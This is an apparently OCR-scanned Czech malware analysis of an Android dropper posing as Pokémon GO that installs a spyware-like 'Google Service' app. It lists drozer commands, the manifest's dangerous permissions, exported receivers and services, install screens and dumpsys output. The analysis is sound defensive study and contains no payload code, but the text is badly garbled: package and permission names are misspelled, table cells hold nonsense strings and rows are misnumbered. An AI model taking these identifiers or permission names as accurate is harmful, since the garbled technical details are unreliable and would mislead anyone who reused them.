Zakladni informace ze souboru AndroidManifest.xml

dz> run app.package.manifest com.androcid.engine
<manifest versionCode="1"
versionMName="1.1"
package="com.android.engine™
platformPuildvVersicnCode="22"
platformPuildversicnMame="5.1.1-1819727">
<uses—sdk minSdkVersion="15"
targetSdkVersicon="22">
</uses—sdk>
<uses-permissicn name="androlid.permissicon.CHENGE WIFI STATE">
</uses-permission>
<uses-permissicn name="android.permission.GET ACCOUNTS">
</uses-permissicn>
<uses-permission name="android.permission.RACCESS NETWORE STATE":
</uses-permission>
<uses-permissicn name="android.permissicon.RCCESS WIFI _STATE">
</uses-permissicn>
<uses—permissicn name="android.permissicn. INTERNET":
</uses-permission>
<uses-permissicn name="android.permissicon.WAFE LOCE">
</uses-permission>
<uses-permissicn name="android.permissicon.RERD CONTACTS">
</uses-permission>
<uses-permissicn name="androlid.permissicon.BRERD SMS">
</uses-permission>
<uses-permissicn name="android.permission.SEND SMS">
</uses-permission>
<uses-permissicn name="androlid.permission.WRITE SMS">
</uses-permission>
<uses-permissicn name="android.permissicon.RERD PHCONE STATE">
</uses-permissicn>
<uses-permission name="android.permission.READ CALL LOG":=
</uses-permission>
<uses-permissicn name="android.permissicon.RERD EXTERNAL STORAGE">
</uses-permissicn>
<uses-permission name="com.android.browser.permission.READ HISTCRY BOOFMARES":
</uses-permissicn>
<uses-permissicn name="androld.permissicon.WRITE EXTERNAL STORAGE">
</uses-permission>
<uses-permissicn name="android.permissicon.RECCRD RUDIO":>
</uses-permission>
<uses-permissicn name="android.permissicon.BERD PRIVILEGED PHONE STATE">
</uses-permission>
<uses-permissicn name="android.permissicon.PROCESS CUTGOING CALLS">
</uses-permission>
<uses—permissicn name="android.permissicn.STCORAGE":
</uses-permission>



POPIS POZADOVANYCH OPRAVNENI:

1. | CHANGE WIFI STATE Zména stavu Wi-Fi sité B
2. | GET ACCOUNTS Cteni seznamu 0éth N
3. | ACCESS NETWORK STATE Cteni informaci o stavu siti B
4. | ACCESS WIFI STATE Cteni informaci o Wi-Fi sitich N
5. | INTERNET Internetova komunikace B
7. | WAKE LOCK fszrjgrégziol‘l/slf;ni procesoru a zhas- B
7. | READ_CONTACTS Cteni kontakti N
8. | READ_SMS Cteni SMS N
12. | SEND SMS Odesilani SMS N
10. | WRITE_SMS Neexistuje -
Cteni informaci o zafizeni — tele-
11. | READ PHONE STATE fonni ¢islo, operator, stav probihaji- | B
cich hovorti

12. | READ CALL LOG Cteni vypisu hovorti N
13. | READ EXTERNAL STORAGE Cteni dat z externiho tiloZisté N
14. | READ HISTORY BOOKMARKS S;‘ZE‘Sifjﬁ:ﬁ“ﬁ;;‘:;genwh WD |
15. | WRITE _EXTERNAL STORAGE Zapis dat do externiho tloZzisté N
16. | RECORD_ AUDIO Nahravani zvuku N
17. | READ PRIVILEGED PHONE STATE | Neexistuje -
18. | PROCESS OUTGOING CALLS fgj:;fgg?;fi‘;ﬁi&fﬁu presme- |
19. | STORAGE Neexistuje -
LEGENDA

N Nebezpecné

B Normalni (bezpecné)

S Podepsané




Attack surface:

dz>> run app.package.attacksurface com.androcid.engine
Lttack Surface:

0 activities exported

2 broadcast receivers exported

0 content providers exported

2 services exported

Broadcast:

dz> run app.broadecast.info -a com.andreid.engine
Package: com.android.engine
com. android. engine . NetWatcher
Permissicn: null
com. android.engine.CallReceiver
Permissicn: null

Sluzby:

dz> run app.service.info —a com.andrcid.engine
Package: com.android.engine
com. android. engine . MyService
Permissicn: null
com. android. engine  .MyIntentService
Permissicn: null

INSTALACE DROPPERU

Instala¢ni obrazovka a zastupce aplikace:

; Aplikace Widgety Q
E Pokémon GO
Chcete tuto aplikaci nainstalovat?

&z LG
Aplikace nevyzaduje zadna zvlastni a

Oprévnéni, QuickMemo+ RemoteCall Nastaveni SmartWorld
Service

g v W

Centrum Zaznam hlasu Pocasi YouTube
aktualizaci

drozer Agent  Pokémon GO

ZRUSIT INSTALOVAT




INSTALACE MALWARU A SPUSTENi DROPPERU

Instala¢ni obrazovka malwaru a spusténi dropperu.

Google Service

Chcete tuto aplikaci nainstalovat?
Aplikace ziska pristup k témto
opravnénim:

Cist Vase kontakty
Nalézt ucty na zarizeni

Error 505

Nahrat zvuk

1C ]

. ; ) Sorry, this version is not compatible
Cist vaSe zpravy (SMS nebo MMS) with your android version.

Odesilat zpravy SMS
& To mize stat penize

¢, Cist protokol o volani
Cist status telefonu a identitu
Presmérovat odchozi hovory

¢  Prectéte si obsah vasi SD karty
Upravit nebo smazat obsah karty SD

ZRUSIT INSTALOVAT

ANALYZA DUMPSYS SOUBORU

Informace o dropperu:

*APP*= UID 188908 ProcessRecord{3f15bbd 14460:com.niantclab.pokemongo/udade}

user #0 uid=1009@ gids={50098, 9997}
Informace o malwaru:

*APP* UID 10891 ProcessRecord{af7432c 14683:com.android.engine/u@a91}

user #® uid=10891 gids={50@91, 9997, 3043}



Informace o sluzbach malwaru:

udadl:
Wake lock Icing realtime
Apk com.android.engine:
Service com.android.engine.MyService:
Created for: @ms uptime
Starts: 1, launches: 1
Service com.android.engine.NetworkingIntentService:
Created for: Oms uptime

Starts: 1, launches: 1

Informace o prijimacich malwaru:
android. intent.action. PHONE_STATE:
2919772 com.android.mms/.msgposter.OtherNotiReceiver
75feabb com.android.mms/.transaction.MmsSystemEventReceiver

84e67c3 com.android.engine/.CallReceiver

android.net.conn.CONNECTIVITY_CHANGE:

d3806f7 com.android.engine/.NetWatcher
android. intent. action.BOOT_COMPLETED:

d3806f7 com.android.engine/.NetWatcher



